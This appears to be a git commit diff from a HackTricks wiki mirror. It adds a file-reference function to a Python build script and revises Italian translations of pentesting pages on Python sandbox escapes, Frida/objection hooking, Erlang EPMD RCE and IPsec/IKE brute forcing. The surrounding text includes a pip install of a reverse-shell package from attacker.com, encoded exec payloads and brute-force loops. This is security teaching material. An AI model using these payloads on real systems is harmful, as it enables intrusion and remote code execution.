mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
Translator
parent
478aa25c42
commit
eb365f5900
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,33 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
@ -105,6 +133,8 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Questi sono alcuni trucchi per bypassare le protezioni delle sandbox di Python ed eseguire comandi arbitrari.
|
||||
Questi sono alcuni trucchi per bypassare le protezioni delle sandbox Python ed eseguire comandi arbitrari.
|
||||
|
||||
## Librerie di Esecuzione Comandi
|
||||
|
||||
@ -41,8 +41,7 @@ system('ls')
|
||||
```
|
||||
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della sandbox python e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
|
||||
|
||||
> [!CAUTION]
|
||||
> La funzione **input()** di Python2 consente di eseguire codice python prima che il programma si arresti.
|
||||
> [!CAUTION] > La funzione **input()** di **Python2** consente di eseguire codice python prima che il programma si arresti.
|
||||
|
||||
Python cerca di **caricare le librerie dalla directory corrente per prima** (il seguente comando stamperà da dove python sta caricando i moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
@ -78,9 +77,11 @@ Se hai accesso a `pip` o `pip.main()`, puoi installare un pacchetto arbitrario e
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo dovresti **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
|
||||
@ -111,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Altre librerie che consentono di valutare il codice python
|
||||
### Altre librerie che consentono di valutare codice python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -292,7 +293,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Leggi il file con l'aiuto e la licenza dei built-in
|
||||
### Leggi il file con l'aiuto e la licenza dei builtins
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -313,10 +314,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
Quando non hai `__builtins__`, non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Quando non hai `__builtins__` non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
|
||||
Tuttavia, **per impostazione predefinita, python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere accessibili per ottenere anche **l'esecuzione di codice arbitrario**.
|
||||
|
||||
Negli esempi seguenti puoi osservare come **abuse** alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
Negli esempi seguenti puoi osservare come **abusare** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -537,7 +538,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Ricerca Ricorsiva di Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa**, usa questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
|
||||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa** usa semplicemente questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -769,10 +770,10 @@ Questo gadget consente di **caricare una libreria dal disco**. Pertanto, è nece
|
||||
```
|
||||
La sfida sfrutta in realtà un'altra vulnerabilità nel server che consente di creare file arbitrari nel disco dei server.
|
||||
|
||||
## Dissezionare gli oggetti Python
|
||||
## Dissezionare gli Oggetti Python
|
||||
|
||||
> [!NOTE]
|
||||
> Se vuoi **imparare** a fondo il **bytecode di python**, leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Se vuoi **imparare** a conoscere **il bytecode di python** in profondità, leggi questo **fantastico** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
In alcuni CTF potresti ricevere il nome di una **funzione personalizzata in cui risiede il flag** e devi esaminare gli **interni** della **funzione** per estrarlo.
|
||||
|
||||
@ -897,7 +898,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota che **se non puoi importare `dis` nel sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
|
||||
Nota che **se non puoi importare `dis` nella sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -957,7 +958,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!NOTE]
|
||||
> A seconda della versione di python, i **parametri** di `code_type` potrebbero avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
||||
> A seconda della versione di python, i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -981,8 +982,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Bypass Defenses
|
||||
|
||||
In previous examples at the beginning of this post, you can see **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **unico comando** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nella CTF).
|
||||
In previous examples at the beginning of this post, you can see **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||
|
||||
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
```python
|
||||
@ -1019,9 +1020,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompilazione di Python Compilato
|
||||
## Decompilare Python Compilato
|
||||
|
||||
Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) è possibile **decompilare** il codice python compilato fornito.
|
||||
Utilizzando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) è possibile **decompilare** un dato codice python compilato.
|
||||
|
||||
**Dai un'occhiata a questo tutorial**:
|
||||
|
||||
@ -1054,5 +1055,4 @@ sarà bypassato
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## **Introduzione**
|
||||
|
||||
**objection - Esplorazione Mobile in Esecuzione**
|
||||
@ -14,13 +12,15 @@
|
||||
|
||||
### Riassunto
|
||||
|
||||
Il **goal** di **objection** è consentire all'utente di chiamare le **azioni principali che offre Frida**. **Altrimenti**, l'utente dovrà creare un **singolo script per ogni applicazione** che desidera testare.
|
||||
L'**obiettivo** di **objection** è consentire all'utente di chiamare le **azioni principali che offre Frida**. **Altrimenti**, l'utente dovrà creare un **singolo script per ogni applicazione** che desidera testare.
|
||||
|
||||
## Tutorial
|
||||
|
||||
Per questo tutorial userò l'APK che puoi scaricare qui:
|
||||
Per questo tutorial utilizzerò l'APK che puoi scaricare qui:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
O dal suo [repository originale](https://github.com/asvid/FridaApp)(scarica app-release.apk)
|
||||
|
||||
@ -97,7 +97,7 @@ android hooking list activities
|
||||
android hooking list services
|
||||
android hooking list receivers
|
||||
```
|
||||
Frida lancerà un errore se non viene trovata nessuna
|
||||
Frida lancerà un errore se non viene trovata alcuna.
|
||||
|
||||
#### Ottenere l'attività corrente
|
||||
```bash
|
||||
@ -107,7 +107,7 @@ android hooking get current_activity
|
||||
|
||||
#### Cerca Classi
|
||||
|
||||
Iniziamo a cercare classi all'interno della nostra applicazione
|
||||
Iniziamo a cercare classi all'interno della nostra applicazione.
|
||||
```bash
|
||||
android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
@ -123,7 +123,7 @@ android hooking search methods asvid.github.io.fridaapp MainActivity
|
||||
|
||||
#### Elenca i metodi dichiarati di una classe con i loro parametri
|
||||
|
||||
Scopriamo quali parametri necessitano i metodi della classe:
|
||||
Scopriamo quali parametri richiedono i metodi della classe:
|
||||
```bash
|
||||
android hooking list class_methods asvid.github.io.fridaapp.MainActivity
|
||||
```
|
||||
@ -147,7 +147,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### Hooking (watching) an intera classe
|
||||
#### Hooking (watching) an entire class
|
||||
|
||||
In realtà trovo tutti i metodi della classe MainActivity davvero interessanti, quindi **colleghiamoli tutti**. Fai attenzione, questo potrebbe **far crashare** un'applicazione.
|
||||
```bash
|
||||
@ -169,7 +169,7 @@ Ora, se scrivi qualsiasi cosa nella casella di testo per il codice PIN, vedrai c
|
||||
|
||||
### Istanze di classe
|
||||
|
||||
Cerca e stampa **istanze live di una specifica classe Java**, specificata da un nome di classe completamente qualificato. Questo è il risultato di un tentativo di ottenere un valore stringa per un'obiezione scoperta che tipicamente **contiene valori di proprietà per l'oggetto**.
|
||||
Cerca e stampa **istanze live di una specifica classe Java**, specificata da un nome di classe completamente qualificato. Ecco il risultato di un tentativo di ottenere un valore stringa per un'obiezione scoperta che tipicamente **contiene valori di proprietà per l'oggetto**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -213,7 +213,7 @@ memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
|
||||
```
|
||||
### SQLite
|
||||
|
||||
Puoi utilizzare il comando `sqlite` per interagire con i database sqlite.
|
||||
Puoi usare il comando `sqlite` per interagire con i database sqlite.
|
||||
|
||||
### Exit
|
||||
```bash
|
||||
@ -221,10 +221,8 @@ exit
|
||||
```
|
||||
## Cosa mi manca in Objection
|
||||
|
||||
- I metodi di hooking a volte fanno crashare l'applicazione (questo è anche a causa di Frida).
|
||||
- I metodi di hooking a volte fanno crashare l'applicazione (questo è dovuto anche a Frida).
|
||||
- Non puoi usare le istanze delle classi per chiamare le funzioni dell'istanza. E non puoi creare nuove istanze delle classi e usarle per chiamare funzioni.
|
||||
- Non c'è una scorciatoia (come quella per sslpinnin) per hookare tutti i metodi crittografici comuni utilizzati dall'applicazione per vedere testo cifrato, testo in chiaro, chiavi, IV e algoritmi utilizzati.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -54,10 +54,12 @@ At last, we can start an erlang shell on the remote system.
|
||||
(test@target.fqdn)1>os:cmd("id").
|
||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
```
|
||||
Maggiori informazioni in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Maggiore informazione in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
L'autore condivide anche un programma per forzare il cookie:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## Connessione Locale
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
**IPsec** è ampiamente riconosciuto come la principale tecnologia per la sicurezza delle comunicazioni tra reti (LAN-to-LAN) e da utenti remoti al gateway di rete (accesso remoto), fungendo da spina dorsale per le soluzioni VPN aziendali.
|
||||
|
||||
L'istituzione di un **associazione di sicurezza (SA)** tra due punti è gestita da **IKE**, che opera sotto l'egida di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:
|
||||
L'istituzione di una **security association (SA)** tra due punti è gestita da **IKE**, che opera sotto l'egida di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:
|
||||
|
||||
- **Fase 1:** Viene creato un canale sicuro tra due endpoint. Questo viene realizzato attraverso l'uso di una Chiave Pre-Condivisa (PSK) o certificati, utilizzando sia la modalità principale, che prevede tre coppie di messaggi, sia la **modalità aggressiva**.
|
||||
- **Fase 1:** Viene creato un canale sicuro tra due endpoint. Questo viene realizzato attraverso l'uso di una Pre-Shared Key (PSK) o certificati, impiegando sia la modalità principale, che prevede tre coppie di messaggi, sia la **modalità aggressiva**.
|
||||
- **Fase 1.5:** Anche se non obbligatoria, questa fase, nota come Fase di Autenticazione Estesa, verifica l'identità dell'utente che tenta di connettersi richiedendo un nome utente e una password.
|
||||
- **Fase 2:** Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con **ESP** e **AH**. Consente l'uso di algoritmi diversi da quelli della Fase 1 per garantire la **Perfetta Riservatezza Avanzata (PFS)**, migliorando la sicurezza.
|
||||
- **Fase 2:** Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con **ESP** e **AH**. Consente l'uso di algoritmi diversi da quelli della Fase 1 per garantire la **Perfect Forward Secrecy (PFS)**, migliorando la sicurezza.
|
||||
|
||||
**Porta predefinita:** 500/udp
|
||||
|
||||
@ -44,13 +44,13 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
|
||||
Come puoi vedere nella risposta precedente, c'è un campo chiamato **AUTH** con il valore **PSK**. Questo significa che il vpn è configurato utilizzando una chiave precondivisa (e questo è davvero buono per un pentester).\
|
||||
**Il valore dell'ultima riga è anche molto importante:**
|
||||
|
||||
- _0 returned handshake; 0 returned notify:_ Questo significa che il target è **non un gateway IPsec**.
|
||||
- _0 returned handshake; 0 returned notify:_ Questo significa che il target **non è un gateway IPsec**.
|
||||
- _**1 returned handshake; 0 returned notify:**_ Questo significa che il **target è configurato per IPsec ed è disposto a eseguire la negoziazione IKE, e uno o più dei trasformazioni che hai proposto sono accettabili** (una trasformazione valida sarà mostrata nell'output).
|
||||
- _0 returned handshake; 1 returned notify:_ I gateway VPN rispondono con un messaggio di notifica quando **nessuna delle trasformazioni è accettabile** (anche se alcuni gateway non lo fanno, nel qual caso dovrebbe essere tentata un'analisi ulteriore e una proposta rivista).
|
||||
|
||||
Poi, in questo caso abbiamo già una trasformazione valida, ma se sei nel 3° caso, allora devi **forzare un po' per trovare una trasformazione valida:**
|
||||
|
||||
Prima di tutto devi creare tutte le possibili trasformazioni:
|
||||
Prima di tutto, devi creare tutte le possibili trasformazioni:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
@ -75,9 +75,9 @@ In **DH Group: 14 = 2048-bit MODP** e **15 = 3072-bit**\
|
||||
|
||||
Cisco indica di evitare l'uso dei gruppi DH 1 e 2 perché non sono abbastanza forti. Gli esperti credono che **i paesi con molte risorse possano facilmente rompere la crittografia** dei dati che utilizzano questi gruppi deboli. Questo viene fatto utilizzando un metodo speciale che li prepara a decifrare i codici rapidamente. Anche se costa molto denaro impostare questo metodo, consente a questi paesi potenti di leggere i dati crittografati in tempo reale se utilizzano un gruppo che non è forte (come 1.024-bit o più piccolo).
|
||||
|
||||
### Fingerprinting del server
|
||||
### Server fingerprinting
|
||||
|
||||
Poi, puoi usare ike-scan per cercare di **scoprire il fornitore** del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurre. Poi, **analizzerà** la **differenza** di **tempo** **tra** i **messaggi** ricevuti dal server e il modello di risposta corrispondente, il pentester può identificare con successo il fornitore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il payload **Vendor ID (VID)** opzionale con IKE.
|
||||
Poi, puoi usare ike-scan per cercare di **scoprire il fornitore** del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurre. Poi, **analizzando** la **differenza** di **tempo** **tra** i **messaggi** ricevuti dal server e il modello di risposta corrispondente, il pentester può identificare con successo il fornitore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il payload opzionale **Vendor ID (VID)** con IKE.
|
||||
|
||||
**Specifica la trasformazione valida se necessario** (utilizzando --trans)
|
||||
|
||||
@ -105,7 +105,7 @@ Questo può essere ottenuto anche con lo script nmap _**ike-version**_
|
||||
|
||||
## Trovare l'ID corretto (nome del gruppo)
|
||||
|
||||
Per essere autorizzati a catturare l'hash, è necessario un trasformazione valida che supporti la modalità Aggressiva e l'ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai forzarlo.\
|
||||
Per essere autorizzati a catturare l'hash, è necessario un valido transformation che supporti la modalità Aggressive e l'ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai forzarlo.\
|
||||
Per farlo, ti consiglio 2 metodi:
|
||||
|
||||
### Forzare l'ID con ike-scan
|
||||
@ -114,23 +114,23 @@ Prima di tutto, prova a fare una richiesta con un ID falso cercando di raccoglie
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Se **non viene restituito alcun hash**, allora probabilmente questo metodo di brute forcing funzionerà. **Se viene restituito un hash, ciò significa che un hash falso verrà inviato per un ID falso, quindi questo metodo non sarà affidabile** per brute-forzare l'ID. Ad esempio, potrebbe essere restituito un hash falso (questo accade nelle versioni moderne):
|
||||
Se **non viene restituito alcun hash**, allora probabilmente questo metodo di brute forcing funzionerà. **Se viene restituito un hash, ciò significa che un hash falso verrà inviato per un ID falso, quindi questo metodo non sarà affidabile** per forzare l'ID. Ad esempio, potrebbe essere restituito un hash falso (questo accade nelle versioni moderne):
|
||||
|
||||
.png>)
|
||||
|
||||
Ma se, come ho detto, non viene restituito alcun hash, allora dovresti provare a brute-forzare nomi di gruppo comuni utilizzando ike-scan.
|
||||
Ma se, come ho detto, non viene restituito alcun hash, allora dovresti provare a forzare i nomi di gruppo comuni utilizzando ike-scan.
|
||||
|
||||
Questo script **cercherà di brute-forzare possibili ID** e restituirà gli ID dove viene restituita una handshake valida (questo sarà un nome di gruppo valido).
|
||||
Questo script **cercherà di forzare gli ID possibili** e restituirà gli ID dove viene restituita una handshake valida (questo sarà un nome di gruppo valido).
|
||||
|
||||
Se hai scoperto una trasformazione specifica, aggiungila nel comando ike-scan. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una di esse non funziona correttamente).
|
||||
|
||||
Puoi usare il [dizionario di ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [quello in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) di nomi di gruppo comuni per brute-forzarli:
|
||||
Puoi usare il [dizionario di ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [quello in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) di nomi di gruppo comuni per forzarli:
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
Or use this dict (è una combinazione degli altri 2 dizionari senza ripetizioni):
|
||||
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bruteforcing ID con Iker
|
||||
|
||||
@ -138,14 +138,14 @@ Or use this dict (è una combinazione degli altri 2 dizionari senza ripetizioni)
|
||||
|
||||
### Bruteforcing ID con ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) è uno strumento che può essere utilizzato per **bruteforcare anche gli ID**. Questo strumento **cercerà di sfruttare diverse vulnerabilità** che potrebbero essere utilizzate per **distinguere tra un ID valido e uno non valido** (potrebbero esserci falsi positivi e falsi negativi, ecco perché preferisco usare il metodo ike-scan se possibile).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) è uno strumento che può essere utilizzato per **bruteforcare anche gli ID**. Questo strumento **cerca di sfruttare diverse vulnerabilità** che potrebbero essere utilizzate per **distinguere tra un ID valido e uno non valido** (potrebbero esserci falsi positivi e falsi negativi, ecco perché preferisco utilizzare il metodo ike-scan se possibile).
|
||||
|
||||
Per impostazione predefinita, **ikeforce** invierà all'inizio alcuni ID casuali per controllare il comportamento del server e determinare la tattica da utilizzare.
|
||||
|
||||
- Il **primo metodo** è bruteforcare i nomi dei gruppi cercando le informazioni **Dead Peer Detection DPD** dei sistemi Cisco (queste informazioni vengono riprodotte dal server solo se il nome del gruppo è corretto).
|
||||
- Il **primo metodo** è bruteforcare i nomi di gruppo cercando le informazioni **Dead Peer Detection DPD** dei sistemi Cisco (queste informazioni vengono riprodotte dal server solo se il nome del gruppo è corretto).
|
||||
- Il **secondo metodo** disponibile è **controllare il numero di risposte inviate a ciascun tentativo** perché a volte vengono inviati più pacchetti quando viene utilizzato l'ID corretto.
|
||||
- Il **terzo metodo** consiste nel **cercare "INVALID-ID-INFORMATION" in risposta a un ID errato**.
|
||||
- Infine, se il server non risponde a nessuno dei controlli, **ikeforce** cercherà di bruteforcare il server e controllare se quando viene inviato l'ID corretto il server risponde con qualche pacchetto.\
|
||||
- Infine, se il server non risponde a nessuno dei controlli, **ikeforce** cercherà di bruteforcare il server e verificare se quando viene inviato l'ID corretto il server risponde con qualche pacchetto.\
|
||||
Ovviamente, l'obiettivo di bruteforcare l'ID è ottenere il **PSK** quando si ha un ID valido. Poi, con l'**ID** e il **PSK** dovrai bruteforcare l'XAUTH (se è abilitato).
|
||||
|
||||
Se hai scoperto una trasformazione specifica, aggiungila nel comando ikeforce. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una di esse non funziona correttamente).
|
||||
@ -179,7 +179,7 @@ psk-crack -d <Wordlist_path> psk.txt
|
||||
|
||||
**La modalità aggressiva IKE** combinata con una **chiave pre-condivisa (PSK)** è comunemente impiegata per scopi di **autenticazione di gruppo**. Questo metodo è potenziato da **XAuth (Autenticazione Estesa)**, che serve a introdurre un ulteriore livello di **autenticazione dell'utente**. Tale autenticazione sfrutta tipicamente servizi come **Microsoft Active Directory**, **RADIUS** o sistemi comparabili.
|
||||
|
||||
Passando a **IKEv2**, si osserva un cambiamento notevole in cui **EAP (Protocollo di Autenticazione Estensibile)** è utilizzato al posto di **XAuth** per l'autenticazione degli utenti. Questo cambiamento sottolinea un'evoluzione nelle pratiche di autenticazione all'interno dei protocolli di comunicazione sicura.
|
||||
Passando a **IKEv2**, si osserva un cambiamento notevole dove **EAP (Protocollo di Autenticazione Estensibile)** è utilizzato al posto di **XAuth** per l'autenticazione degli utenti. Questo cambiamento sottolinea un'evoluzione nelle pratiche di autenticazione all'interno dei protocolli di comunicazione sicura.
|
||||
|
||||
### MitM di rete locale per catturare le credenziali
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## Informazioni di Base
|
||||
|
||||
Il **File Transfer Protocol (FTP)** funge da protocollo standard per il trasferimento di file attraverso una rete informatica tra un server e un client.\
|
||||
È un protocollo **in chiaro** che utilizza come **carattere di nuova riga `0x0d 0x0a`** quindi a volte è necessario **connettersi usando `telnet`** o **`nc -C`**.
|
||||
È un protocollo **in chiaro** che utilizza come **carattere di nuova linea `0x0d 0x0a`** quindi a volte è necessario **connettersi usando `telnet`** o **`nc -C`**.
|
||||
|
||||
**Porta Predefinita:** 21
|
||||
```
|
||||
@ -14,13 +14,13 @@ PORT STATE SERVICE
|
||||
```
|
||||
### Connessioni Attive e Passive
|
||||
|
||||
In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP.
|
||||
